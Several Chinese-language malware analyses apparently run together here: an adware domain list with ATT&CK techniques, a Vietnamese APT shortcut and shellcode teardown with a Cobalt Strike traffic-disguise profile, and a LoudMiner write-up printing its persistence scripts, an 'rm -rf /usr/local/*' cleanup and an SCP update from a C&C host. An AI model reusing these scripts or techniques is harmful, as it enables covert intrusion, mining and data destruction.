· jeanlesagetechnology[.]com
· kingwintechnology[.]com
· laubeyrietechnology[.]com
· lauriertechnology[.]com
· mansactechnology[.]com
· mounactechnology[.]com
· notification-results[.]com
· notifications-page[.]com
· notifications-service[.]info
· notifications-service[.]io
· papineautechnology[.]com
· premiumsearchhub[.]com
· premiumsearchresults[.]com
· premiumsearchtech[.]com
· preverttechnology[.]com
· search-awesome[.]net
· search-ology[.]com
· search-technology[.]net
· searchawesome-apps[.]com
· searchawesome[.]net
· searchawesome2[.]com
· searchawesome3[.]com
· searchesandfind[.]com
· searchfeedtech[.]com
· searchforall[.]net
· searchforfree[.]net
· searchnewsroom[.]com
· searchnotifications[.]com
· searchpage-results[.]com
· searchpage-results[.]net
· searchpage[.]com
· searchpageresults[.]com
· searchsymphony[.]com
· searchtech[.]net
· securesearch[.]xyz
· seekoutresultz[.]com
· sirwilfridlauriertechnology[.]com
· social2search[.]com
· tazotechnology[.]com
· technologieadrienprovencher[.]com
· technologieairflow[.]com
· technologiearmandlamoureux[.]com
· technologiebeaumont[.]com
· technologiebernard[.]com
· technologiecarmenbienvenue[.]com
· technologiecartier[.]com
· technologiechabanel[.]com
· technologiechaumont[.]com
· technologiecoloniale[.]com
· technologiecormack[.]com
· technologiedollard[.]com
· technologieduluth[.]com
· technologiehutchison[.]com
· technologiejeanlesage[.]com
· technologiekingwin[.]com
· technologielaubeyrie[.]com
· technologielaurier[.]com
· technologiemansac[.]com
· technologiemontroyal[.]com
· technologiemounac[.]com
· technologieoutremont[.]com
· technologieprevert[.]com
· technologierachel[.]com
· technologieruso[.]com
· technologiesaintdenis[.]com
· technologiesaintdominique[.]com
· technologiesaintjoseph[.]com
· technologiesaintlaurent[.]com
· technologiesainturbain[.]com
· technologiesearchawesome[.]com
· technologiesirwilfridlaurier[.]com
· technologiestdenis[.]com
· technologiestlaurent[.]com
· technologiestuart[.]com
· technologietazo[.]com
· technologietravassac[.]com
· technologietrudeau[.]com
· technologievanhorne[.]com
· technologiewiseman[.]com
· technologieyvonlheureux[.]com
· travassactechnology[.]com
· trudeautechnology[.]com
· wajam-download[.]com
· yvonlheureuxtechnology[.]com

MITRE ATT&CK技术

1. 战术:持久性

挂钩(T1179):使用MinHook挂钩Web浏览器函数,并拦截Web流量。

2. 战术:权限提升

访问令牌操作(T1134):获取用户令牌,在用户上下文中使用API调用CreateProcessAsUserA执行其自身。

3. 战术:逃避检测

Rootkit(T1014):使用minifilter和NetFilter驱动程序,隐藏其文件,并拦截Web流量。

代码签名(T1116):一些恶意软件样本使用不同的数字证书进行签名。

禁用安全工具(T1089):在Windows Defender中添加例外项,并禁用MRT更新。

安装根证书(T1130):安装根证书,以实现中间人操作。

混淆文件或信息(T1027):大多数字符串使用基于XOR的算法加密,一些Payload使用AES-256或RC4加密。

进程注入(T1055):在Web浏览器(CreateRemoteThread、SetWindowsHookEx或BlackBone库)中注入DLL以拦截Web流量。

4. 战术:侦查

侦查安全软件(T1063):尝试检测多个反病毒产品。

一、前言

APT已经成为了安全领域热门的话题。

Eleven Paths旗下Innovación y laboratorio 4月发表《Docless Vietnam APT》报告:

上述信息表述,我们侦测到一些恶意邮件发送到属于越南政府的邮箱,这封越南语邮件的日期是2019年3月13号。这封邮件可能是来源于越南政府内部,不排除是有人把这封邮件投送到安全部门,因为这封邮件存在可疑因素。

TKCT quy I nam 2019.doc.lnk.malw样本信息如下:

图片一:TKCT quy I nam 2019.doc.lnk.malw

二、静态分析

1. TKCT quy I nam 2019.doc.lnk.malw样本被下载到本地后,巧妙伪装成Word快捷方式,欺骗受害运行或者习惯性双击查看,如下所示:

图片二:伪装doc快捷方式

首先word文档一般不会是.lnk链接,链接的大小应该在1kb左右,而该APT样本快捷方式竟然126kb,很明显隐藏着别的东西,很多病毒把文件名伪装成.dat、.docx等,其实后缀是.exe,开启文件名扩展就可以看到。

2. 提取样本属性中目标包含的恶意代码,发现是经混淆加密的一段cmd指令,且执行powershell,如下所示:

图片三:混淆指令

APT攻击手段非常青睐vbs、powershell、js等类型脚本语言,容易混淆与加密,而且方便做免杀处理。

所以历来的病毒及恶意软件都有这种共性,如蔓零花、Xbash、勒索都喜欢执行powershell作为第一个“见面礼”(payload)送给计算机当作惊喜。

3. 解析混淆指令,发现重定向TKCT quy I nam 2019.doc.lnk快捷方式到s.sp1文件,其实桌面快捷方式是一个powershell的脚本文件,梳理混淆变量如下所示:

最终将TKCT quy I nam 2019.doc.lnk重定向到temp文件夹下,命名为s.ps1执行该powershell,如下所示:

图片四:去混淆

4. 手动去除iex混淆也是可以的,打开文件去掉“iex”这几个字符,powerhell运行指令格式:文件名(原) >> s.sp1(新文件名)即可,重定向文件如下所示:

图片五:powershell恶意代码

5. 如图五所示,发现了两段Base64编码的数据,powershell意图将编码后的恶意数据执行,添加定时任务,每9分钟执行创建,利用了InstallUtil服务实现了自启动与持久性化,有意思的利用Wscript.Shell执行,越出其不意越有意想不到的效果,如下所示:

图片六:s.sp1

6. Base64编码数据解析后,其实是两个可执行文件,分别是恶意.net与.doc,执行手段如下图所示:

图片七:通用的套路

7. 分析tmp_pFWwjd.dat.exe,经过dnSpy工具反汇编后,代码清晰可见,虽然有一些小混淆(可以使用de4dot.exe去混淆即可),不影响代码程度。

定位关键函数Exec(),发现Base64String编码的数据,根据执行流程,由.NET去委托去调用函数Call,而且是可读可写,那么就要申请内存VirtualAlloc(),将Base64shellcode拷贝到申请内存中,获取CreateThread()指针委托执行回调指针,执行恶意的shellcode,如下所示:

图片八:.net反汇编

如何理解shellcode或payload?本质上可以是说一堆十六进制组成的数据,对于可执行文件来说则是能够被汇编引擎所解释执行的数据。

因为下面将会涉及二进制数据提取与汇编分析,所以这里做了一副简单的图先介绍关于shellcode或者payload基本概念(针对恶意代码),如下图所示:

图片九:payload

如图九所示,对于病毒来说,特别是可自启动,持久化攻击,没有后门很难实现(漏洞持续化利用,每次拉取少量流量做数据窃取之类的除外)。

举例来说,ASLR地址随机化每次系统重启后基址都会改变,或者注入到新的进程空间,代码本身的函数基址都是错误的,如何精准的获取函数地址?从而达到完美运行,需要格外的一些操作,当然这些都不是问题,技术相对成熟。

下面一段知识所讲述的内容,假设读者对Windows PE格式及汇编、内核相关内容有一定的基础。不会普及基础知识,将从PE格式及汇编层面去分析这些shellcode如何去做,如何实现动态获取模块基址如kernel32.dll,如何利用散列值或者Hash遍历导出表,过免杀敏感字符串及敏感函数API等。

三、PE与病毒杂谈

以上述的恶意代码举例,因为.net执行shellcode调试过程中遇到诸多问题,所以用c/c++还原了tmp_pFWwjd.dat.exe样本。

再一次OD进行动态调试,当然可以Dump下来分析,根据个人爱好,直接在执行shellcode下断,如下所示:

图片十:Pointer

1. 入口点进入,接着就是数据的异或解密,将需要真正执行的恶意代码还原,如下所示:

图片十一:异或解密

2. 散列值加密字符串,这样的好处既可以减少shellcode体积,而且可以隐蔽敏感字符,不容易被杀毒软件截获,如下所示:

图片十二:散列值获取函数地址

3. 我们进入函数1E0A42,发现一堆看上去很平常的赋值操作,如下所示:

图片十三:fs:[0x30]

Fs是寄存器,内核态是fs = 0×30,用户态 fs = 0x3B,fs在内核态指向_KPCR,用户态指向_TEB。

TEB(Thread Environment Block),线程环境块,也就是说每一个线程都会有TEB,用于保存系统与线程之间的数据,便于操作控制。那么Fs:[0x30]就是PEB进程环境块。

4. PEB就是当前进程环境,shellcode就可以轻易获取PEB信息,通过偏移0xc获取到了_PEB_LDR_DATA,这个结构体包含有关进程的已加载模块的信息.

通过偏移0x1c获取到一个双向循环链表,每个链表指向LDR_DATA_TABLE_ENTRY结构体,这个结构体包含的数据我们来看一下,以上数据偏移与操作系统有关,如下所示:

图片十四:获取模块基质

图片十五:获取当前环境模块基址步骤

5. 通过上述的过程,就会成功获取如ntdll.dll,如下所示:

图片十六:获取模块Address

6. 继续分析函数1E0B2A,两个参数,根据函数调用约定,参数1是kernel32基地址,参数2是函数名散列值,该函数则是一个自己实现的GetProcAddress()函数,如下所示:

图片十七:GetProcAddress

7. 该函数会判断是不是PE标准格式,然后获取NT头,获取导出表。导出表保存了三张表的地址,先来看导出表结构体,如下所示:

恶意代码需要定位到这三张表的地址,遍历函数名称表AddressOfName,获取函数名进行散列值计算,如果与参数2散列值相同,意味着是同一个函数。

返回当前遍历的下标,通过下标去函数序号表AddressOfNameOrdinals找到对应的序号,获取序号表保存的数值,在函数地址表中获取AddressOfFunctions,如下图所示简单表述了三者关系:

图片十八:三者关联

如上图所示,序号表与名称表一一对应,下标与下标中存储的值是相关联的,这三张表设计巧妙,利用了关系型数据库的概念。

需要注意的是,序号不是有序的,而且会有空白。地址表中有些没有函数名,也就是地址表有地址却无法关联到名称表中,这时候用序号调用,序号内容加上Base序号基址才是真正的调用号。

8. 当有了这些认知,再来看样本中的恶意代码,会发现与上述的描述是一摸一样的,如下所示:

图片十九:GetProcAddress()

9. 最后验证结果是否成功,如下所示:

图片二十:验证

11. 创建了新得线程,线程回调会创建目录及文件,但是本地验证创建文件失败,如下所示:

图片二十一:创建目录

创建文件及目录名路径c:\User\……\AppData\Roaming\

11. 服务器响应及下载恶意代码,这将开启一段新得旅程,如下所示:

图片二十二:DownLoader

四、vkT2模块分析

1. 跟进函数后我们发现了大量的散列值,动态获取函数地址,与上述函数调用一致,梳理函数名如下:

1E0AAA函数解密如下:

2. 做了预热操作,其实根据函数名称,应该猜测到接下来会发生什么,如下图所示:

图片二十三:InternetOpenA

图片二十四:InternetConnectA

图片二十五:HttpOpenRequestA

3. 动态调试过程中会卡断在请求,静态分析代码,lstrcmpiA比较下载数据的指纹信息text字段是否为plain,然后利用InternetReadFile读取下载数据执行,否则的话将陷入睡眠、请求死循环状态。

图片二十六:请求状态

我们根据已知的ip与请求格式,直接访问该网页,如下所示:

图片二十七:vkT2

发现Web解析的全是乱码?下载到本地,根据原代码执行流程,这是一段二进制数据,老规矩写个程序来调试这段恶意代码。

4. vkT2分析,先是解密了数据,然后动态获取函数地址,样本惯用的老套路了。

循环拼接各区段(节表)数据,这里按照VirtuallAddress,各区段在加载到内存后的地址循环拼接,内存的对齐粒度0×1000,抹掉了DOS头特征码,形成了一个PE格式文件,如下所示:

图片二十八:内存扩展

5. 既然是PE格式扩展到了内存里面,接下来就是修复了IAT表与重定位了,这里涉及的面比较多,还属于PE格式内容,可查阅《Windows权威指南》,如下图所示:

图片二十九:修复IAT

6. 接下来分析关键要点,获取了系统变量,判断是否运行在64bit系统上,如下所示:

图片三十:判别运行环境

8. 系统数据、主机ip、主机名等信息收集,如下所示:

图片三十一:数据收集

9. 新一轮的C&C通信开始,如下图示所示:

图片三十二:建立通信

9. 继续分析,使用函数HttpOpenRequest和HttpSendRequest打开文件。HttpOpenRequest创建个请求句柄并且把参数存储在句柄中,HttpSendRequest把请求参数送到HTTP服务器,如下所示:

图片三十三:HttpOpenRequest

图片三十四:HttpSendRequestA

11. 遗憾的是HttpSendRequeSt已经没有什么响应了,静态分析剩余的代码(模拟执行),读取服务器返回的恶意代码,有用到线程安全上下文。

情报分析没找到更有价值的数据,不过这种请求方式很独特,而且构造的数据包也很特别,下面会讲到这样做的特殊性。

关联样本过程,梳理执行流程图如下所示:

图片三十五:TKCT quy I nam 2019.doc执行流程

如图三十五,客户端通信的服务器应该都是代理服务器,其实真是的环境远远要比上述过程复杂更多,这也是溯源的难点。

如图三十三,堆栈内存中提取关键的数据信息,这与往常的我们所见到的请求数据不太一样,梳理如下所示:

APT通讯的手段越来越谨慎,如果不进行详细的样本分析,沙箱模拟运行、内存取证、抓包工具来对网络层面进行分析,结果与想要的数据可能有一定的出入,样本进行通信的时候,其实用到了域前端网络攻击技术。

什么是域前端网络攻击技术?简单点来说可以将msf、cs(Cobalt Strike)等团队控制服务器的流量,目的用来绕过一定程度的防火墙与检测器,一些较大的厂商都会提供服务,所以用msf或cs等工具都可以实现。

我们用Cobalt Strike这款工具举例,集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。

其中比较有用的一个功能就是Beacon payload的行为,修改框架默认属性值,更改检入的频率及修改Beacon网络流量,而这些功能的配置都在文件Malleable C2。

Malleable-C2-Profiles功能就可以做到构造一个正常的Web伪装流量,最终达到通信隐匿的效果,我们摘取amazon.profile举例,如下所示:

set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

http-get {

Seturi"/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

client {

header "Accept" "*/*";

header "Host" " www.amazon.com ";

metadata {

base64;

prepend "session-token=";

prepend "skin=noskin;";

append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

header "Cookie";

}

http-post {

set uri "/N4215/adj/amzn.us.sr.aps";

client {

header "Accept" "*/*";

header "Content-Type" "text/xml";

header "X-Requested-With" "XMLHttpRequest";

header "Host" " www.amazon.com ";

parameter "sz" "160x600";

parameter "oe" "oe=ISO-8859-1;";

id {parameter "sn";}

parameter "s" "3717";

parameter "dc_ref" "http%3A%2F%2F www.amazon.com ";

}

上述代码与样本vkT2.shellcode通信的特征完全匹配,通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。

详细的内容网上已有很多相关的好文,这里不做介绍,可以在参考连接中找到这些学术知识进行研究。

五、总结

APT攻击技术趋势与威胁情报的发展热度一直在上涨,不同种类的APT攻击趋势越加明显。

防御者在明,攻击者在暗,APT攻击具有一定的规模性,大量的资金及后台作为支撑,敌暗我明情况下,防御的结果往往令人不满意。

企业安全响应情报生成和评估,需要不断的驱动事件,周而复始收集、处理、分析、决策,将情报与驱动应急响应融合,完善网络安全态势感知,第一时间掌握攻击的”来龙去脉”,防患于未然。

样本链接:https://bbs.kafan.cn/thread-2148052-1-1.html

*本文作者:光通天下,转载请注明来自FreeBuf.COM

介绍

在形形色色的加密货币挖矿程序中,LoudMiner显得有些不同寻常。LoudMiner于2018年8月被发现,主要针对macOS和Windows系统。它能通过一些虚拟软件,如macOS上的QEMU和Windows上的VirtualBox,在Tiny Core Linux虚拟机上进行加密货币挖掘活动——这种方式使之在面对不同操作系统时具有很强的适应性。LoudMiner常与盗版的VST(虚拟工作室技术)软件捆绑在一起,让下载的用户不知不觉中招。LoudMiner基于XMRig (一款门罗币挖矿程序),并用到了矿池,这让我们无法追溯潜在的交易过程。

分布

在撰写本文时,我们在一个WordPress站点上发现了137个VST相关应用程序(42个用于Windows,95个用于macOS),该站点的域名于2018年8月24日注册。第一个应用程序——用于Windows的Kontakt Native Instruments 5.7——也是在注册当天上传的。考虑到应用的数量,对它们逐个分析会有些不切实际,不过我们可以先把它们都视作恶意木马看待。

挖矿程序本身则不在此站点上,而是托管在另外29个外部服务器中,服务器可见文末的IoC列表。由于LoudMiner背后的操作人员时常对其做更新,我们很难跟踪到它的第一个版本。

LoudMiner之所以选择与音频制作软件绑定,我们猜测可能有以下几点原因,一是安装这些VST软件的机器往往具有良好的处理能力;二是音频处理的高CPU消耗可能会掩盖挖矿的踪迹,让用户难以察觉;此外,这些VST软件通常很复杂,可以借用它们大文件的外壳掩人耳目,伪装VM映像的存在。攻击者选择使用虚拟机而不是更精简的方案,这一决定虽不常见实则却非常有效。

以下是攻击者捆绑的一些VST软件样本,以及网站上诱使用户下载的一些“好评”:

· Propellerhead Reason

· Ableton Live

· Sylenth1

· Nexus

· Reaktor 6

· AutoTune

1.png

2.png

图1、图2:该站点管理员对用户的回复

用户反馈

我们观察到,也有一些用户在该站点反馈进程说qemu-system-x86_64在他们的Mac上占用了100%的CPU:

3.png

图3.用户报告#1(https://discussions.apple.com/thread/250064603)

4.png

图4.用户报告#2(https://toster.ru/q/608325)

名为“Macloni”的用户表示:

我将不得不重新安装OSX。问题可能是出在了Ableton Live 10身上,我没有从官方网站下载,结果在安装软件的同时也安上了挖矿程序,完全占据了我的电脑内存。

同时该用户指示出有2个进程——qemu-system-x86_64和tools-service——占用了25%的CPU资源且以root身份运行。

盗版软件分析

攻击者对macOS和Windows应用程序构想的总体思路是一样的:

· 首先,应用程序与虚拟化软件、Linux映像和用于实现持久性的附加文件捆绑在一起。

· 用户下载应用程序后按照说明进行安装。

· 先安装扬声器采集器,再安装实际的VST软件。

· LoudMiner隐藏自身,并在重启时变为持久性。

· 启动Linux虚拟机并开始挖掘工作。

· 虚拟机中的脚本与C&C服务器联系来更新矿机(配置和二进制文件)。

在分析不同的应用程序时,我们已经确定了四个版本的挖矿机,主要是通过它与实际软件、C&C服务器域捆绑在一起的方式,以及作者创建的版本字符串来区分。

3个macOS的版本

到目前为止,我们已经识别出这款恶意软件的三个macOS版本。它们都是将自身复制到/usr/local/bin,也都包含了installerdata.dmg中运行QEMU所需的依赖项,并对运行过程设置了适当的权限。每个挖矿机都可以同时运行两个映像,每个映像占用128 MB的RAM和一个CPU核。持久性则是通过将RunAtLoad设置为true,并在/Library/LaunchDaemons中添加plist文件来实现的;同时还将KeepAlive设置为true,以确保停止后进程重新启动。每个版本都有以下组件:

· QEMU Linux映像。

· 用于启动QEMU映像的Shell脚本。

· 守护进程,用于在启动时启动shell脚本并使其运行。

· 一个带有守护进程的CPU监视器shell脚本,它可以根据CPU使用情况和活动监视器进程是否正在运行来启动/停止挖掘。

CPU监视器脚本可以通过加载守护进程来启动挖掘活动,终止进程来结束挖掘。如果Activity Monitor进程正在运行,则挖掘将停止。此外,它会检查系统空闲了多长时间(以秒为单位):

ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'

如果超过2分钟,则开始挖掘;如不到2分钟,则检查总CPU使用率:

ps -A -o %cpu | awk '{s+=$1} END {print s }'

除以CPU核数:

sysctl hw.logicalcpu |awk '{print $2 }')

如果大于85%,就停止挖掘。不同版本的脚本本身略有不同,但总体思路是相同的。

安装完成后,会删除所有挖矿机相关安装文件。

5.png

图5. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg的安装

6.png

图6. Polyverse.Music.Manipulator.v1.0.1.macOS.dmg设置说明

版本1

下载的应用程序包中的挖矿机文件没有经过模糊处理或放在另一个包中; 它们与软件一起安装在下列位置:

1、/Library/Application Support/.Qemusys

· qemu-system-x86_64 – 干净的QEMU二进制文件

· sys00_1-disk001.qcow2 – Linux 映像 (初始)

· qemuservice – 通过qemu-system-x86_64二进制文件启动初始映像的shell脚本(参见脚本1代码段)

2、/Library/Application Support/.System-Monitor

system-monitor.daemon –通过system-monitor二进制文件启动第一个映像

3、/usr/local/bin

.Tools-Service

· sys00_1-disk001.qcow2 – Linux 映像(第二个)

· tools-service.daemon –通过tools-service二进制文件启动第二个映像

· cpumonitor – 根据空闲时间和CPU使用情况启动/停止挖掘

· system-monitor – qemu-system-x86_64二进制文件的副本

· tools-service – qemu-system-x86_64二进制文件的副本

4、/Library/LaunchDaemons

· buildtools.system-monitor.plist – 启动system-monitor.daemon

· buildtools.tools-service.plist – 启动tools-service.daemon

· modulesys.qemuservice.plist – 启动qemuservice

· systools.cpumonitor.plist – 启动cpumonitor

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;

脚本1. qemuservice shell脚本

复制依赖项后,将启动所有与矿机相关的守护程序,然后安装实际软件:

1.如果Activity Monitor进程正在运行,qemuservice将不会启动映像,并卸载它所启动的plist。

2.tools-service.daemon仅在qemu-system-x86_64进程未运行且睡眠45分钟后才会启动映像。

3.只有在检测到Intel i5,i7或i9 CPU时,System-monitor.daemon才会启动映像。

这些脚本使用相同的命令来启动QEMU映像,只是名称和映像路径不同。

与版本1挖矿机相关的截图:

7.png

图7.使用Little Snitch的QEMU的CPU消耗(来源:https://imgur.com/a/sc3u6kk)

上图来自Little Snitch,表示来自进程qemu-system-x86_64的某些连接被阻止。具体来说,hopto[.]org (一个免费的主机名服务)是挖矿机版本1使用的C&C。

版本2

挖矿机文件位于下载的应用程序包内的data_installer.pkg中。将先安装data_installer.pkg,其次再安装VST软件,且在安装之前,会将版本1删除并执行以下命令:

rm -rf /usr/local/*

如脚本2中的列表所示,它仅在检测到正在运行的qemu-system-x86_64进程时才会这样做。

#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;

脚本2的 data_installer.pkg预安装脚本,用于删除版本1。

并创建以下临时文件:

/Users/Shared

· z1 – QEMU二进制文件

· z1.daemon – 使用QEMU二进制文件启动QEMU映像

· z1.qcow2  –  QEMU映像

· z1.plist  – 启动z1.daemon

· z3  –  CPU监视器脚本,与版本1 cpumonitor相比变化不大

· z3.plist  – 用于启动z3

· randwd  – 生成随机名称

复制依赖项后将安装矿机。这次使用randwd脚本随机化QEMU二进制文件、plists和目录的名称。挖矿机安装过程会创建z1,z1.daemon,z1.qcow2和z1.plist的两个副本。对于每个副本,会发生下列情况:

· 在/ Library / Application Support中创建具有随机名称的目录

· QEMU二进制文件z1具有与目录相同的名称,并被复制到/ usr / local / bin中

· z1.daemon(参见脚本3中的列表)和z1.qcow2以随机名称复制到此目录中

· z1.plist以名称com.<random_name>.plist复制到/ Library / LaunchDaemons中

#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;

脚本3. z1.daemon shell脚本

版本2比版本1更清晰简单。只有一个QEMU映像两个副本; 映像启动器脚本,守护进程和cpumonitor是相同的。尽管版本2随机化了文件和

目录,但它只能安装一次,因为安装时会在命令行中使用accel = hvf检查正在运行的进程。

从我们到目前为止检查到的版本2应用程序,data_installer.pkg的SHA1哈希始终是39a7e86368f0e68a86cce975fd9d8c254a86ed93。

版本3

挖矿机文件位于应用程序包内名为do.dmg的加密DMG文件中,安装DMG使用以下命令:

printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.

矿机DMG里有一个datainstallero.pkg包,再安装此软件包。

datainstallero.pkg与版本2的data_installer.pkg包内容大致相同,但datainstallero.pkg添加了两个混淆的脚本——clearpacko.sh和installpacko.sh,还混淆了以前的脚本randwd:

· clearpacko.sh用于删除版本2。

· installpacko.sh以与版本2相同的方式安装矿机,除了从脚本中删除注释之外。

· do.dmg的SHA1保持不变:b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9。

Linux映像

所有的版本都利用多个shell脚本来启动映像文件。shell脚本在引导时由plist执行,并保持活动状态。

版本1执行以下二进制文件(qemu-system-x86_64的副本)以启动QEMU映像:qemu-system-x86_64,system-monitor,tools-service。

版本2和3使用相同的命令,但二进制文件的文件名、Application Support中的目录和QEMU文件名是随机的。

所有版本都使用以下转换:

· -M accel = hvf使用Hypervisor(https://developer.apple.com/documentation/hypervisor)框架作为加速器。 HVF是在OS X 10.10中引入的,并且在2018年4月发布的QEMU 2.12中添加了对HVF的支持。

· -display none,以便虚拟机在没有图形界面的情况下运行。

由于未指定RAM量和CPU内核数量,这种情况下启动映像使用的是默认值:1个CPU内核和128MB RAM。所有版本都可以启动2个映像。

Windows(版本4)

从应用程序中提取的字符串中,我们定义了到目前为止所见的唯一Windows版本,其逻辑与macOS版本非常相似。用户下载的应用程序是破解的应用程序,加上封装为MSI安装程序的挖矿机。图8显示了运行破解的VST安装程序时,弹出的VirtualBox驱动安装信任窗口。

8.png

图8.弹出窗口

VirtualBox安装在它常规的文件夹(C:\Program Files\Oracle)中;但是,目录的属性被设置为“hidden”。之后安装程序将Linux映像和VBoxVmService(用于将VirtualBox虚拟机作为服务运行的Windows服务)复制到C:\ vms,这也是一个隐藏目录。安装完成后,安装程序将运行由BAT2EXE编译的批处理脚本(请参阅脚本4),以导入Linux映像并运行VmServiceControl.exe以将虚拟机作为服务启动。

@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"

脚本4.用于将Linux虚拟机作为服务运行的批处理脚本 

此方法用于确保重启后的持久。实际上,VboxVmService附带了一个配置文件(参见脚本5),其中可以启用AutoStart选项,以便在机器启动时自动启动虚拟机。

[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes

脚本5.VBoxVmService的配置文件,启用了AutoStart

Linux映像中包含的OVF文件描述了虚拟机的硬件配置(请参阅脚本6):它使用1GB的RAM和2个CPU核(最大使用率为90%)。

<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>

脚本6.Linux映像的硬件配置

Linux映像

Linux映像是一个配置为运行XMRig的Tiny Core Linux 9.0,还有一些文件和脚本,以使挖掘程序不断更新。最有趣的文件是:

· /root/.ssh/{id_rsa,id_rsa.pub}  – 用于使用SCP从C&C服务器更新挖矿机的SSH对密钥。

· /opt/{bootsync.sh,bootlocal.sh}  – 从C&C服务器更新挖矿机并运行的系统启动命令(参见脚本7和8):

/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin

脚本7.bootsync.sh

/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig

脚本8. bootlocal.sh

· / mnt / sda1 / tools / bin  – 用于更新和运行挖矿机的主要文件和脚本。

· / mnt / sda1 / tools / xmrig  – 包含XMRig的源代码(来自GitHub(https://github.com/xmrig/xmrig))。

矿机的配置存储在/mnt/sda1/tools/bin/config.json中,主要包含用于矿池的域名和端口,具体取决于版本型号(请参阅IoC部分中的示例)。

更新机制由三个不同的脚本通过SCP(安全文件复制)执行,三个脚本分别是:

· xmrig_update  – 更新矿机的配置(config.json);

· ccommand  – 更新ccommand_update,xmrig_update(参见脚本9),updater.sh,xmrig;

· ccommand_update  – 更新ccommand。

从我们看到的情况来看,矿机的配置是每天更新一次的。

#!/bin/sh

ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null [email protected]:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json

脚本9. xmrig_update

为了识别特定的挖掘会话,idgenerator脚本会创建一个包含机器的IP地址和日期的文件,并用update .sh脚本将其输出发送到C&C服务器。

保护方案

显然,要防范此类威胁,最好就是不要下载商业软件的盗版副本。除此之外,也有一些提示可以帮助您确定应用程序中是否包含了附加的代码:

· 一些不沾边的“附加”安装程序(在本例中为Oracle网络适配器)的信任弹出窗口。

· 没有安装的进程(本例中为QEMU或VirtualBox)却占用了大量的CPU。

· 有新服务添加到启动服务列表(Windows)或新的启动守护程序(macOS)中去。

· 一些奇怪域名的网络连接(例如system-update [.] info或system-check [.] services)。

IoC

hash

· macOS应用程序(版本1-3)

t1.jpg

· Windows应用程序(版本4)

t2.jpg

· Linux映像

t3.jpg

文件名

· macOS

/Library/Application Support/.Qemusys

/Library/Application Support/.System-Monitor

/usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}

/Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}

· Windows

C:\vms

主机名

vstcrack[.]com (137[.]74.151.144)

用于下载的主机(端口80,HTTP)

185[.]112.156.163

185[.]112.156.29

185[.]112.156.70

185[.]112.157.102

185[.]112.157.103

185[.]112.157.105

185[.]112.157.12

185[.]112.157.181

185[.]112.157.213

185[.]112.157.24

185[.]112.157.38

185[.]112.157.49

185[.]112.157.53

185[.]112.157.65

185[.]112.157.72

185[.]112.157.79

185[.]112.157.85

185[.]112.157.99

185[.]112.158.112

185[.]112.158.133

185[.]112.158.186

185[.]112.158.190

185[.]112.158.20

185[.]112.158.3

185[.]112.158.96

d-d[.]host (185[.]112.158.44)

d-d[.]live (185[.]112.156.227)

d-d[.]space (185[.]112.157.79)

m-m[.]icu (185[.]112.157.118)

用于更新的主机(通过SCP)

